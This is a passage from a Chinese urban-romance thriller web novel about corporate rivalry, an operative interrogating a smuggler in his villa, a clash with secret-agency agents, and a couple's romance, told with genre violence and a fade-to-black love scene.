一天之后,天和集团明确拒绝了程氏娱乐的《山海纪元》IP合作项目。 程氏娱乐,总裁办公室。 程俊安脸色阴沉,死死盯着眼前的助理。 “天和那边亲自说的,是顾鸣鹤的意思?” 助理唯唯诺诺,声音都不敢太大。 “是,是顾总身边的李特助亲自打电话拒绝的,说是顾总的意思。” 程俊安脸上阴沉的吓人:“他是有什么不满意?我们可以让利。” 助理摇头:“不,不是的.......” “李特助的意思是.....我们的IP不成熟,天和不需要........” 助理的声音越说越小,最后干脆耷拉下脑袋,一句话不说。 只听一声脆响,钢笔被程俊安扔在地上。 笔帽被甩飞到一边,墨汁都溅了出来。 “再联系李特助,我要见顾鸣鹤。” 程俊安站起身,双手扣在桌沿,命令道。 助理也不敢多说什么,只好道:“好的,程总。” 说罢,便低着头快步出去了,生怕再惹这个程总发火,殃及自身。 结果出门时没看路,险些撞到了走进来的一个女子。 女子手中的咖啡险些因为助理突然走出来,差点倒在自己身上。 “会不会走路?这么着急做什么?” 女子有些不耐烦地看了助理一眼。 “对,对不起杨姐,我没看路。”助理连忙弯腰道歉。 杨洁雅只是很不屑的哼了一声,翻了个白眼,袅袅挪挪的走进去了。 走进去时还顺势关上了总裁办的门。 “哎呀程总,怎么这么大火气啊~” 杨洁雅把咖啡往办公桌上一放,绕到椅子后面,双手搭在程俊安的肩膀上。 有一下没一下轻轻的揉着。 不是按摩,而像是撩拨。 程俊安的火气被这一下又一下的撩弄下去了大半。 顺势抬手握住了自己肩膀上的细手,圈在手心里很用力的捏了一下。 “哎,最近没一件事情是省心的。” “幸好有你陪着我,还是你贴心。” 杨洁雅红唇微勾,半蹲着身子,上半身贴在椅背上。 “程总,这都是我应该做的。” 看着对方姣好的面容,程俊安心中一动,顺势把人拉到自己腿上坐着。 “哎呀,程总,外面....外面要是有人进来可怎么办啊。” 杨洁雅半推半就,有些欲迎还拒。 “放心,没有人会进来的。” 咖啡杯被推倒,流了一桌。 第76章 好大的脸盘子 半小时后。 杨洁雅为程俊安系好领带,唇角噙着一抹娇媚笑意,眼波流转。 程俊安此人,骨子里就刻着不安分。 外头养着的人,十个指头数过一轮怕也点不完。所幸他生了一副好皮囊。 年轻时,也算得上是阳光俊朗,虽非惊为天人,却也足够招摇。 如今人到中年,身形难免有些发福,但比起那些脑满肠肥,大腹便便的同辈,他倒还维持着几分体面。 甚至被某些人明面上赞一句有韵味。 至于他的正牌夫人江晓蕾? 对这些风流韵事,她向来是睁只眼闭只眼。 只要程俊安没把天捅破,没闹出什么让她脸上挂不住的大笑话,她便懒得费那份心思去管束。 或者说,早已无心也无力去管。 “还是你贴心。”程俊安惬意地靠进椅背,一脸餍足。 杨洁雅侧目一笑,随手擦干桌面的咖啡渍。“那程总打算怎么奖励我?” “想要什么?”程俊安表现得十分大方。 “之前看中了一个包,一直舍不得下手呢。”杨洁雅声音柔媚。 “行,回头让人给你送过去。”程俊安点头应允。 “多谢程总,那我先出去了。”杨洁雅端起咖啡杯,姿态婀娜地走了出去。 经过外间工位时,有人刻意别开脸无视,有人嘴角挂着毫不掩饰的讥诮,眼神交汇间满是不言而喻的鄙夷。 待她身影消失在秘书办门口,压抑的议论声立刻嗡嗡响起。 “才来几个月,架子端得比谁都足。” “谁让人家本事大呢?攀上高枝了呗。” “呵,不知廉耻。” “嘘,小声点!” “敢做还怕人说?恶心!” 杨洁雅能进程氏娱乐,本就是走了不光彩的后门。 以她的学历和能力,根本不够格。 因此,秘书办这群靠本事挤进来的人,骨子里就瞧不上她,哪怕她平日刻意疏远。 角落里,一个年轻女孩正利落地收拾着自己的工位,听到这话停下了手里的动作。 冷笑一声,声音不大却异常清晰:“一个巴掌拍不响,程俊安自己又是个什么好东西?” 旁边的同事倒吸一口凉气,慌忙扯她袖子:“祖宗,小点声,这可是在公司!” “我说错了吗?”女孩眉毛一扬,脸上是毫不掩饰的不屑。 “干了这种龌龊事还不让说了?上次陪老板应酬,那客户的手都快摸到我大腿根了,姓程的就在旁边挤眉弄眼,让我顾全大局,为公司牺牲。” “真是好大的脸盘子,当我是圣母下凡来普照大地了?” 她啪地一声合上收纳盒:“应酬结束那老东西就让我滚蛋。” 同事一脸惊悚:“啊这......” “还用他开口?老娘直接把工牌砸他脸上了!我看这破公司迟早要完!” 年轻姑娘抱起箱子,环视一圈惊呆的众人:“你们啊,也趁早找下家吧!” 临出门前,她猛地转身,朝着程俊安办公室的方向狠狠啐了一口:“煞笔玩意儿!” 整个秘书办死寂一片,所有人都被这彪悍的操作震得目瞪口呆。 空气凝固了几秒,才有人喃喃道:“......这就是传说中的.......00后整顿职场?” 短暂的沉默后,几道压抑不住的低笑声响起。 骂得是挺爽的。 但很快,年轻姑娘的话就灵验了。 因为程氏娱乐的项目被光影娱乐抢走后,原本就紧绷的资金链已经开始断裂。 程俊安本指望这个项目能获得天和集团的资金注入,以此解决资金问题。 结果半路杀出了一个光影集团,可把程俊安气得牙痒痒。 在办公室里气急败坏地破口大骂。 多次联系李特助,也被李特助搪塞了过去。 天和集团那边是彻底走不通了。 为了这个《山海纪元》的IP项目,程俊安花重金从国外引进顶尖团队,投入大量市场宣传费。 如今不能让他们打水漂。 程俊安原本指望项目回款来偿还短期贷款以及供应商欠款,如今都不可能了。 程俊安接完又一个供应商催款的电话后,面色阴沉地把助理叫了进来。 “去帮我联系宋氏集团的宋总。” 他就不信只有天和集团才能帮他渡过难关。 助理犹豫了一下。 “快去!” “好,好的。” 但是转身的时候偷偷翻了个白眼。 就算是宋氏集团的宋总也不是她能轻易联系上的啊。 程总也太看得起她了吧。 但是助理只能心里吐槽两句,回头还是得把电话打烂。 —— 时清徵看着财经新闻上有关程氏娱乐资金链断裂的消息,眉眼间明显带上了点儿愉悦。 因为有关程氏娱乐财政危机被多次实锤,程俊安不得不站出来召开新闻发布会。 高调地进行辟谣。 否认资金链断裂,并且表示没能与天和集团谈成合作对程氏娱乐的影响并不大。 最后,程俊安看着台下的记者,满脸淡定,不疾不徐地表示: “希望诸位能够理智判断不实消息,在这里我也提醒某些不正当竞争的同行,不要进行恶性竞争来破坏行业规则。” “同时,我也希望能停止谣言散播。” 从头到尾的一番演讲,大概意思就是。 他们程氏娱乐很牛逼,他们的制作团队很牛逼。 他们程氏娱乐之所以会面对这种负面新闻完全是竞争对手的恶意打压。 不得不说,程俊安如果破产了,去当销售员也不错,就这口才,啧啧啧。 时清徵满脸兴味地看着视频中程俊安一副道貌岸然的模样。 “某些不正当竞争的同行”指的是谁呢?好难猜啊。 光影娱乐与天和集团的合作项目并没有正式发布,但是不知道是哪位天才把这个消息泄露出来了。 以至于绝大多数新闻媒体都猜测程俊安口中的“同行”指的就是光影娱乐。 “不正当竞争”本来就被业内人员所不耻,所以一时间,光影娱乐的官方账号下出现了不少辱骂言论。 甚至还被顶上了热搜的尾巴。 至于是谁的功劳自然不用多说。 时清徵摸了摸下巴。 看来程俊安还是太有钱,都能买水军了。 第77章 他是我对象 光影娱乐面对这空穴来风的指控,火速甩出了律师函警告其诽谤。 并且公然在官方账号下艾特程氏娱乐。 这才让热度降了下去。 时清徵觉得火烧的不够旺,于是转头给周景深发了信息。 【你洗了蒜了:找人把程氏的黑料爆出去。】 周景深刚解决完舆论的事,就看到时清徵的消息。 【周景深:.......好的,时董。】 心中则是感慨,时董还真是雷厉风行,这是要把程氏娱乐压死的节奏啊。 不愧是能做总部高层的人,手段就是果决,目光就是长远啊。 于是他立即用先前查到的黑料找人匿名爆了出去。 同时联系权威的财经媒体,甩出了程氏娱乐确凿的财政危机证据。 一时间舆论反转再反转。 直接把程氏娱乐给实锤了。 铁证打脸,程氏娱乐的那场发布会还没开始扫地呢,就变成了笑话。 这一切发生地都太巧合,很难让人不相信这是有人在背后操控。 天和集团,总裁办公会。 “鸣鹤,程氏娱乐这是被人给整了啊。” 宋燕归坐在顾鸣鹤的对面,一副优哉游哉的模样。 “这不是废话?” 程氏娱乐上一秒召开发布会,下一秒冤枉光影娱乐。 结果黑光影娱乐的热搜刚上,自己就被实锤资金危机。 心灵手巧都没这巧。 “程俊安那老东西这是给光影娱乐造势了啊,光影娱乐都把买热搜的钱给省了。 ” 顾鸣鹤笑了一下:“被别人耍的团团转啊。” “你是高兴了,反正光影娱乐势造出去后对你也有好处。” 宋燕归不屑地撇了下嘴。 “话也不能这么说,还是程俊安那老东西太蠢。”顾鸣鹤很是客观的评价道。 宋燕归身子挪了挪,脑袋往前倾了一下:“鸣鹤,你觉得是光影娱乐在针对程氏娱乐吗?” 顾鸣鹤:“可能,但光影娱乐一定是最大的推手。” 这个答案并不难猜,程氏娱乐那边应该也能猜得到。 “我看这光影娱乐以前也没针对过程氏娱乐啊,现在这是吃错药了?” 顾鸣鹤:“吃错药?正常竞争罢了。” 宋燕归对此没有做出评价,而是话锋一转:“听说你跟光影娱乐签了一个项目,透个底呗。” “也不是什么大项目,《梦国》的IP开发。” 宋燕归啧啧称奇,一脸羡慕嫉妒。 “这还不是大项目啊?《梦国》跟世界顶尖IP比起来也就差一个档了。 等你们这个项目落成,这IP能大卖啊。” 顾鸣鹤对此并没有什么表示,只是略微颔首:“的确,光影背靠国际集团,在打造IP方面比程氏娱乐有经验。” 宋燕归看着顾鸣鹤一副得了便宜还卖乖的模样,很是吃味道:“你说他为什么不选我宋氏集团呢,我可比你好说话。” “可能是因为......程氏娱乐的《山海纪元》,光影娱乐那边才想借《梦国》把它压下去。” 宋燕归遗憾摇头:“可惜了,说到《山海纪元》,今早程氏那边还给我助理拨了通电话,说是想跟宋氏合作。” 顾鸣鹤看着他:“哦,然后呢?” “当然是得考虑一下,毕竟程氏娱乐最近可不太安生,我可不想跟他们扯一起。” “但是如果程氏那边肯让利,自然还是有的谈,得看他们的诚意了。” 说这话时,宋燕归的表情是笑着的,但就是给人一种很奸诈的感觉。 顾鸣鹤评价道:“嗯,奸商。” 宋燕归:“无奸不商,赚钱嘛,不丢人。” 这时顾鸣鹤的手机响了一下。 宋燕归眉梢微挑。 他记得顾鸣鹤以前工作时手机都是静音的啊,这是怎么回事? 顾鸣鹤只是看了一眼消息,眼中的笑意就弥漫开来了。 是时清徵发来的消息。 【你洗了蒜了:先生今晚加班吗?】 【顾鸣鹤:不加。】 顾鸣鹤沉浸于自己的世界中,根本没在乎宋燕归一直落在他身上的目光。 【你洗了蒜了:那太好了。】 顾鸣鹤看到这条消息,笑意更灿烂了。 果然时小徵也想和他多待一会。 结果下一秒。 【你洗了蒜了:我今晚想出去一趟,先生吃饭不用等我。】 顾鸣鹤:........ 笑意瞬间僵在脸上。 许久才回了句。 【顾鸣鹤:好,注意安全。】 他也没多问时清徵去做什么,毕竟时清徵总不会遇到什么危险。 【你洗了蒜了:爱心发射jpg.】 当顾鸣鹤再次抬起头,就对上宋燕归一脸探究的神色。 他毫不心虚地反手将手机盖在一旁。 “你想说什么?” 宋燕归双手抱胸,大爷似地向后一仰,整个人陷进椅背里。 “啧啧啧——”他夸张地摇着头,“顾鸣鹤,你没救了。” 顾鸣鹤眯起眼,眸色微沉:“几个意思?” “字面意思呗。”宋燕归拖长了调子,一脸促狭。 “刚给谁发消息呢?你家那位......小情人?” 顾鸣鹤眉头立刻蹙紧:“宋燕归,你给我好好说话!” “哟,不是小情人?”宋燕归好整以暇地挑眉,故意逗他,“那是什么?” “他是我对象。”顾鸣鹤下巴微扬,语气斩钉截铁,那份泰然自若里透着毫不掩饰的嘚瑟。 宋燕归:“........” 他噎了一下,随即嗤笑:“呵?你之前可不是这么个说法。” 顾鸣鹤脸不红心不跳:“你就当我之前脑子进水。以后,别那么叫他,他有名有姓。” “行行行,”宋燕归举手做投降状,一脸“你赢了”的无所谓。 “好话都让你说尽了,好人也都让你当了呗。 顾鸣鹤没接茬,目光锐利地钉在宋燕归脸上,足足好几秒,盯得宋燕归都有些不自在: “干嘛这么看我?” “你之前........”顾鸣鹤慢悠悠开口。 “你之前对我家时小徵那态度可算不上友好。宋燕归,你最好别背地里给他找不痛快。” “我艹!”宋燕归差点跳起来。 “顾鸣鹤!你他妈就这么想我?” “不然呢?”顾鸣鹤哼笑一声,“我还不了解你?” 第78章 别怪兄弟翻脸 宋燕归翻了个白眼,没好气道:“老子至于跟他计较?你少小人之心!” “那可不好说。”顾鸣鹤开始翻旧账,眼神不善。 “你以前挑拨离间的话儿说的还少?” 他身体微微前倾,带着些警告:“我最后提醒你一次,以后少在时小徵面前说些有的没的。不然.......” 他顿了顿,神色冷了下来:“别怪兄弟翻脸。” 宋燕归看他真有点动真格的意思,撇撇嘴:“行行行!以后我见了他保证一个字儿不多说,行了吧?” 顾鸣鹤盯着他看了几秒,确认那敷衍里没藏着别的心思,这才满意地点点头:“嗯。还有.......” 宋燕归:“???你特么还得寸进尺了是吧,我是不是得退出地球啊?” 顾鸣鹤理直气壮地补充:“那倒是不必,你以后只要少在他面前晃悠。” 宋燕归:“.......” 他在心里翻了个巨大的白眼:搞得谁稀罕,你以为谁都跟你似的,好这口? 嘴上却只能憋屈地应道:“........行!” 得了宋燕归的保证,顾鸣鹤的神色都缓和了不少,嘴角勾起一丝满意的弧度。 他语气轻松,带着点得了便宜还卖乖的亲昵:“宋大啊,你这人吧,就一点特别好......” 宋燕归不耐烦地打断:“识时务是吧?你都把翻脸搬出来了,我还能干嘛?真上赶着当恶人拆散你们?” 随即嗤笑一声:“我又不是你妈,对恶毒婆婆不感兴趣!” 顾鸣鹤心情是肉眼可见的好,连宋燕归的揶揄也照单全收:“我妈?她管天管地也管不着我这事儿。” 宋燕归收敛了几分玩笑的神色,正色提醒道:“你还是多防着点你家那些人才是正经。 要是让你爷爷还有你那些叔叔们知道,你不仅养了个小情人,还正儿八经成了男朋友,他们非拿这事儿做文章不可,到时候够你喝一壶的。” 他身体前倾,压低声音:“真闹起来,你可别连累我。顾老爷子现在虽然是半退隐养老,可天和集团这根定海神针的股份大头还牢牢攥在他手里,他动起真格来,谁拦得住?” “我记得老爷子手里,少说也有天和四十几个点的股份吧?” 顾鸣鹤神色淡然:“四十?现在三十都够呛。” 这些年他明里暗里动作不断,不仅从老爷子指缝里抠,更从那些摇摆的小股东手中收拢了不少散股。 真到了掀桌子那一刻,天和的控制权,他自信能牢牢握在掌心。 但是他心里还是不希望闹到那一步,毕竟他对他爷爷还是有些感情的。 宋燕归眼神探究:“鸣鹤,你现在手里到底攥了多少?” 顾鸣鹤没有直接回答,只是抬眼看他,眸色深沉:“至少,爷爷他老人家现在威胁不到我了。” 宋燕归脸上瞬间掠过一丝惊诧,随即化作释然的笑意,肩膀也松了下来: “呵......看来以前我全是瞎操心了。” 眼看宋燕归又开始插科打诨、没个正形,顾鸣鹤果断下了逐客令。 他屈指敲了敲桌面,抬眼看向对方,语气带着不容置疑的工作模式切换:“说正事?没有就赶紧走,别耽误我时间。” 宋燕归今日登门,本就是为城西商业圈地的建筑材料供应一事而来。 这项目由宋氏集团承建,他作为负责人自然要亲自跟进细节。 被顾鸣鹤这么一催,他也懒得再磨蹭,利落地起身,扣好西装外套的纽扣。 “行,不在这儿碍顾总的眼了。” 他走到门口,回头丢下一句:“我也懒得看你这张工作狂的冷脸,走了。” ———— 时清徵的手机忽然震动了几下,随后亮起。 这是他先前在契瓶01中植入的定位系统被破坏的警示。 昨天下午,契瓶01已经从里港运离了大陆,驶往东南方向。 可等他现在再查看定位时,最后的定位坐标,赫然显示在京城。 时清徵:........ 他费尽心机抛出去的诱饵,眼看就要顺着线索游回老巢了,是谁半途给他截了回来? 这个契瓶01的主人,上位者早已查得水落石出,正是顾鸣鹤那位二叔,顾砚川。 为确保万无一失,自契瓶01被运出海关那一刻起,时清徵的人便一直近距离跟着。 据线报,载着瓶子的货船在即将驶离东南海域时,突遭拦截勒令返航,最终停靠在里港码头。 契瓶01,正是在船只重新靠岸后被一方人取走。 能在公海之上强行截停船只并令其乖乖返航的,除了官方力量,还能有谁? 顾砚川这是招惹上官方的人了? 时清徵揉了揉突突直跳的太阳穴,一股无力感涌上心头。 官方的介入,意味着局势瞬间复杂了十倍。 必须抢在官方正式动手之前,先把顾砚川问候一遍。 不然到时候等顾砚川被官方控制,他怕是再没机会接触顾砚川了。 无论如何,得先从顾砚川嘴里把话撬出来再说。 这么想着,时清徵给顾鸣鹤发了条信息,表示今晚有事,让他不用等自己。 去找顾砚川的事宜早不宜迟,最好今晚动手。 但时清徵也不确定顾砚川附近有没有官方的人盯着。 不然还真有些麻烦。 这里毕竟是A国,若非事不得己,时清徵不想轻举妄动。 时清徵想着,心里把顾砚川骂了个百来回。 这家伙是真煞笔,在A国还敢做那种事。 你做就做吧,还被官方发现了。 这件事定然简单不了。 时清徵现在就很后悔,后悔自己先前偷懒了。 早就应该在知道契瓶01的拥有者是顾砚川时就把这人绑过来问一通的。 嘶。 就......很后悔。 十几分钟后,时清徵慢悠悠地走出门。 他在马路边扫开一辆共享单车,也不设定明确目的地,就那么有一搭没一搭地蹬着。 目光懒散地扫过街景,活脱脱一个无所事事的街溜子。 天色渐晚,暗了下来。 时清徵把车停好,揣着手往一个方向走去。 第79章 顾二爷,您这胆子—— 顾砚川别墅三楼,书房内。 “东西丢了?!”顾砚川的声音陡然拔高,带着难以置信的惊怒。 他原以为契瓶过了海关便是天高海阔,万无一失。 “那条船.......不是我们自己的人吗?!”他低吼道。 电话那头的声音透着惶恐:“是....是我们的人,可还没到公海,官方直接下令返航.......我们不敢抗命啊!” 顾砚川的心猛地一沉,像坠入冰窟:“官方?!” “你怎么不早说!”他几乎是咆哮出来。 他以为是船上出了岔子,万万没想到竟是官方出手截停。 这意味着......官方很可能也盯上了他?! 一股寒意瞬间窜遍四肢百骸。顾砚川呼吸骤停,猛地掐断了电话。 走!必须立刻离开京城! 他手指颤抖着迅速拨出另一个号码,声音因极度紧张而发颤:“安排我离开京城!要最快........不,今晚!现在就要走!越快越好!” “废物!一群废物!” 他再也抑制不住怒火,狠狠将手机掼在桌面上,发出“哐当”一声巨响。 窗外,贴在墙上的时清徵无声地扬了扬眉梢。 啧,脾气不小。 顾砚川兀自咒骂着,全然未觉窗户被打开了。 “搞得你自己不是一样。”一道清冷带着点戏谑的声音,毫无征兆地在他身后响起。 顾砚川浑身汗毛倒竖。 他甚至没来得及转身,只觉一阵冷风掠过颈侧,一个尖锐的硬物已经精准地抵在了他后腰的要害处。 是刀?! “嘘——” 那声音带着一丝慵懒的警告:“安静点儿,顾二爷。” 顾砚川喉结剧烈滚动,冷汗瞬间浸透了后背:“你......你是谁?!你想干什么?!” 身后的声音带着点笑意:“别紧张,我没什么恶意,就问你几个小问题。” “我......我不知道,我什么都不知道!”顾砚川声音发颤。 “呵。”时清徵轻轻咂了下舌,语气带着点惋惜。 “顾二爷,你这谎撒得......也太没技术含量了。你觉得我会信?” 顾砚川僵硬地想侧头,就看见被半开着的窗户。 窗户洞开,夜风灌了进来,吹得窗扇一摇一摆的。 模糊的倒影里,他依稀能看见自己身后的那个人的影子。 那张脸........ 念头刚起。 “砰——!” 一股巨力毫无预兆地狠狠踹在他腰侧,顾砚川整个人凌空飞起,脸朝下重重砸在地板上。 “啊——!” 剧痛让他发出撕心裂肺的惨叫。 惨叫声未落,一只脚狠狠踩在了他的脊背上。 那力道甚至碾动了几下,顾砚川只觉得五脏六腑都要被挤碎,连惨叫都变成了破碎的呜咽,几乎窒息。 “在我眼皮子底下搞小动作?”时清徵的声音自上而下传来,冰冷至极。 “说,那瓶子谁给你的?芯片里,到底是什么东西?” “说话!” 时清徵微微俯身,声音压得更低:“你也不想真让我在这把你弄死吧?” 顾砚川被踩得眼前发黑,死亡的恐惧压倒了一切。 他艰难地从喉咙里挤出破碎的声音:“瓶...瓶子是幽灵组织的首领给的。芯片....芯片里面是....是好几年前....一项绝密实验的数据资料....咳咳.......” “我...我都说!你想知道什么我都说!别杀我,求你别杀我!” 他涕泪横流,声音充满了绝望的哀求。 时清徵这才松了松脚上的力道,却没有移开。 他蹲下身,保持着随时能踩碎对方脊椎的姿态。 “我怎么知道,你是不是在糊弄我?” 他抬起手中的东西,慢慢往上移动,冰冷的触感触碰到顾砚川的脖颈上。 就是这轻微的触碰却让顾砚川如同惊弓之鸟,整个身体筛糠般剧烈颤抖起来。 时清徵似乎真的有点困惑,皱眉看着脚下抖成一团的人:“你抖什么?我很吓人吗?” 他自认相当克制了。 毕竟这是在A国,他得讲规矩。 从破窗而入到现在,他连句重话都没说,态度堪称彬彬有礼,简直能拿个文明执法奖。 你就说现在当杀手的谁比他有素质? 可这家伙,怎么怕得跟见了鬼似的? 毛病。 时清徵直起身,不耐烦地用鞋尖踢了踢地上那滩烂泥似的顾砚川。 “听说你以前给幽灵组织的人体改造项目打下手?”他垂眸俯视。 “详细说说。” “这......”顾砚川喉结滚动。 “嗯?”时清徵的鞋尖突然加重力道,碾在他肩胛骨上。 “我说!”顾砚川痛得一个激灵,“项目确实经我手,但我只负责......负责提供实验体,核心内容真的不清楚!” 他像倒豆子般把如何为幽灵组织搜罗“货物”的勾当全抖了出来,声音因为恐惧而尖细变形。 时清徵兴致缺缺地听着,突然打断:“所以当年的实验数据被分成了几份?现在散落在不同人手里?” “对......对!”顾砚川像抓住救命稻草般拼命点头。 时清徵忽然俯身逼近。 顾砚川瞬间僵直,连呼吸都停滞了—— “啪嗒。” 一个轻巧的物件从时清徵指间滑落,在地板上弹跳两下,滚到顾砚川眼前。 顾砚川绝望地闭上眼,嘴唇哆嗦着开始背诵主祷文。 时清徵:“.........” 时清徵沉默两秒,突然笑出声:“顾二爷,您这胆子——” 他弯腰拾起那支普通的中性笔,在指间灵巧地转了个圈。 “就这?也能把你吓念经了?” 就在这时书房内电话响起。 没有人去接,铃声就响个不停。 时清徵走了过去拿起电话走了过来,放到顾砚川耳边。 顾砚川想回头看他脸色,但又不敢轻易动弹,生怕后面那个大爷一个不乐意把他宰了。 “说话。”时清徵按下接通键。 顾砚川哪能还敢再装哑巴,于是强忍心中的恐惧开口道。 “有什么事?” 结果对面竟然是长久的寂静。 第80章 同行? “说话啊。” 对面的人这才开口:“顾,顾二爷,都安排好了,私人飞机,航线已经批下来了。” “车子已经在路上了,五,五分钟之后我去别墅后门接你。” 顾砚川:“......知道了。” 电话挂断时,顾燕川的脸明显白了不止一个度。 心中只有一个念头,完了。 他下属有几斤几两他还是清楚的,就算是今天能走也不会在这么短的时间内就把航线批下来。 正如他所想,电话另一头。 顾砚川的下属缩着脖子问旁边的人:“这样,可...可以了吗?” 第七局的特工没有说话,只是对着对讲机说了一句:“队长,安排好了。” 书房内,时清徵自然也注意到顾砚川的异常,从刚才他的下属异常的语气中时清徵也能推断出一些来。 顾砚川的那个下属旁边有人。 他那个下属明显专业度不高,没有学会隐藏情绪。 “哎,你惨了。”时清徵同情地看了顾砚川一眼。 在顾砚川还没有反应过来时,时清徵一个手刀把人打晕。 然后顺手关上窗帘,慢悠悠的坐到顾砚川的电脑前,黑进了监控系统。 这个小区安保严密,摄像头无处不在。 尽管时清徵已经避开绝大多数的摄像头,但还是不可避免的被顾砚川那三百六十度无死角的监控给拍到了一秒多的画面。 只是时清徵操作还没三分钟,楼下就传来了脚步声。 很轻,来的是专业人员。 是顾砚川的人,还是......? 时清徵加快了手里的动作,将那些拍到自己的监控全部替换掉。 脚步声停在了书房外。 但是外面的人却没有进来。 时清徵将桌旁的一支中性笔丢了出去,直接砸中了门旁边的开关。 屋内瞬间陷入一片黑暗。 “砰——” 陷入黑暗的同时,书房的门被暴力的踹开。 时清徵看着被自己重新编改过的监控系统,站起身。 此时从外面进来的那人已经朝着时清徵攻了过来,出手狠绝。 时清徵抬手挡住,然后反手扣住人肩膀,直接将人过肩摔了出去。 那人在空中强行扭身,卸去了大半的力道。 地上翻滚了一圈后重新站起,再次抬脚向时清徵踹了过来。 时清徵直接一拳打了过去,都能听见拳风,可见力道之重。 两人过招可谓是拳拳到肉。 但屋内一片漆黑,两人只能凭借直觉判断对方在哪。 这人身手不错,时清徵也能看出这人经过系统的训练,应该是官方的人。 怕惹来麻烦,他不愿再多做纠缠。 直接飞身一脚踹在那人的腹部,将人踹退了好几步。 然后从进来的窗户那跳了下去。 跳下去之前,窗帘被撩开,时清徵借着月光看清了那个人的眼睛,有些熟悉。 宋燕回追到窗边往下看去,却早已看不见人的身影了。 他眸光严肃,眉眼间带着些忌惮。 经过刚才的短暂交手,他能感受到自己并不是对方的对手。 那个人出手果决,毫不花里胡哨,招招都是必杀技,可见是个杀手。 只是那人看起来并没有要真对他动手的意思。 京城什么时候多了这么个高手。 宋燕回皱起眉头,抿了下唇, 但是他没有时间多想,对讲机再次传来声音。 “队长,顾砚川在外围的人手已经全部控制住了。” 宋燕回深吸了一口气,语气恢复冷硬:“计划有变,目标人物在书房,封锁现场,所有人上来。” “收到。” 宋燕回走到门边重新把书房的灯打开。 一眼就看见了掉在地上的中性笔,不过他并没有去捡。 而是转了个身,朝着倒在地上昏迷半天的顾砚川走去。 十分钟后,第七局的特工来到书房。 宋燕回:“把那支笔收好,送回去做指纹和微量物证提取。” “还有把附近的监控全都调取出来。” —— 另一边,时清徵去便利店买了瓶矿泉水。 拧开盖子慢悠悠地洗了洗手指。 手指上覆盖的一层薄膜脱落,顺着他的指根滑到了掌心。 然后被水融化了。 时清徵每当这时都不得不夸赞一下FK的科研人员。 这就是知识的力量啊。 时清徵骑车慢悠悠地回了晋园,抬头就看见顾鸣鹤的书房亮着灯。 他没有去打扰,而是回卧室洗了个澡。 书房里,顾鸣鹤斜倚在宽大的皮椅上,手机松松地贴着耳朵。 “还有第三方?” 他语调微扬,带着点漫不经心的诧异。 电话那头把来龙去脉简单的讲了一下。 “啧——” 顾鸣鹤轻嗤一声。 “局长,我上哪知道去?我们第一行动组从头到尾盯的是顾砚川那摊烂账,今天这收网的活儿,不是他们第三组包圆儿的吗?” 他嘴角勾起一抹毫不掩饰的戏谑:“结果呢?煮熟的鸭子被别人叼走了一条腿?第三组现在这么拉了?” “高手?” 顾鸣鹤尾音拖长,兴致缺缺地反问,“有多高啊?” 当听到南瓜也在那人手下吃了亏时,顾鸣鹤眉梢终于动了一下。 “哦?连南瓜都栽了?” 他语气里难得带上一丝认真的考量。 “那......勉强算半个高手吧。” 他身体微微前倾,对着话筒,声音清晰笃定,带着不容置疑的锋芒: “局长,要我说,这事儿您当初就该直接点我的将。要是我在,人?他连窗户边儿都摸不着。” “哎,这不是是您之前亲口承认的嘛。” 电话那头的林霄汉局长声音沉缓:“顾砚川落网,东南群岛那条线算是断了一半。当务之急,是把他埋在京城里的钉子一颗颗全部给我拔干净。” 顾鸣鹤指腹摩挲着:“这可是个大工程。水底下不知道藏着多深的王八。” “所以要快,赶在风声收紧之前,把网收干净。一个也别放跑。” “明白。” 第七局一共有七个行动组,顾鸣鹤是第一组的队长,代号白鹤。 而刚才说到的那个南瓜是第三组的队长。 但是七个队长之间相互并不认识。 因为第七局的选拔就是从普通人中选取特殊人才,然后秘密训练。 挂掉电话后,顾鸣鹤支着脑袋想了一会儿。 然后拨了通电话出去。 第81章 那今晚让我来伺候时少 这些年,顾鸣鹤稳坐天和集团总裁的位置,利用这个绝佳的身份在暗处从容调度。 顾砚川的一举一动,包括每一次出行轨迹,以及每一笔异常财务流转,甚至加密通讯。 这些都逃不过顾鸣鹤的情报网。 日积月累,顾砚川的罪证早已被他攥在掌心。 顾鸣鹤不像普通外勤那样冲锋陷阵,实施抓捕。 因为那是对他的权势网络和战略位置的最大浪费。 他是指挥官,是棋手,而非冲锋陷阵。 顾鸣鹤接通了第七局第一行动组副队长,郑家言的专线。 电话几乎是秒通,听筒里传来郑家言沉稳而利落的应答: “队长。” 背景音干净,显然对方早已在待命状态。 顾鸣鹤的目光落在窗外,声音平静无波,却带着绝对权威: “时机到了。” “郑副队,可以收网了。” —— 时清徵洗完澡后,顾鸣鹤已经坐在床边了。 看见时清徵,他笑着拍了拍自己身边的位置,然后朝时清徵勾勾手指。 时清徵走过去还没来得及坐下,就被顾鸣鹤拉着手腕揽入怀中。 整个人被顾鸣鹤的气息包裹住。 时清徵生出些安心的感觉来。 他拉住顾鸣鹤的领带,抬起眼眸,眸底是一片潋滟纯情。 这种样子总是让顾鸣鹤欲罢不能,看得心痒痒。 顾鸣鹤忍不住低头浅浅吻了下时清徵的唇角,然后又吻上他的眉眼。 “今日回来见不到你,我都不习惯。” 顾鸣鹤压着语气,透露着些许委屈和撒娇来。 表情有些可怜巴巴的。 可是放在他身上又毫不违和。 “时小徵,你要怎么补偿我?” 时清徵的手指扣在顾鸣鹤的下巴上,细细摩挲着,一路摸上了他的眉尾。 “先生,不带你这么倒打一耙的。” “嗯?那我家时小徵好好说说我怎么就倒打一耙了?” 时清徵的手指顺着眉型的走向没入顾鸣鹤的发丝间。 有些软,摸起来很舒服呢。 “说话,别在这打马虎眼。”顾鸣鹤笑着抓住时清徵的手腕。 力道很轻,不是阻止。 而是顺着时清徵的力道,让他在自己发丝间揉了几下。 时清徵悠悠开口:“我回来时,先生还在忙着工作,就把我晾在一边了。” “先生还说要当我男朋友呢,一回来就审问上我了。” 时清徵眼中很好地透出些许退让来,配上他的无辜表情,很让人心疼。 顾鸣鹤是真昏君,一点都吃不消美人计。 “我的错,那今晚让我来伺候时少?” 说着,顾鸣鹤带着时清徵一个翻身,两人齐齐倒在了床上。 “嗯~” 一阵天旋地转,顾鸣鹤带时清徵在床上翻了两个圈。 也幸好这个床够大,才没让人掉下去。 时清徵被压在下面,身下是柔软的床铺,身上是顾鸣鹤。 顾鸣鹤的桃花眸此时如染着春风,热烈张扬。 唇角勾着弧度,弯弯的,唇色很浅,很漂亮。 看起来就很好亲。 时清徵心念一动,刚抬起头准备凑过去,却被顾鸣鹤用手指抵住。 “说好了,让我来。” 被子不知道什么时候掉到了地上。 正如局长林霄汉所预见,顾鸣鹤着实忙碌了好一阵。 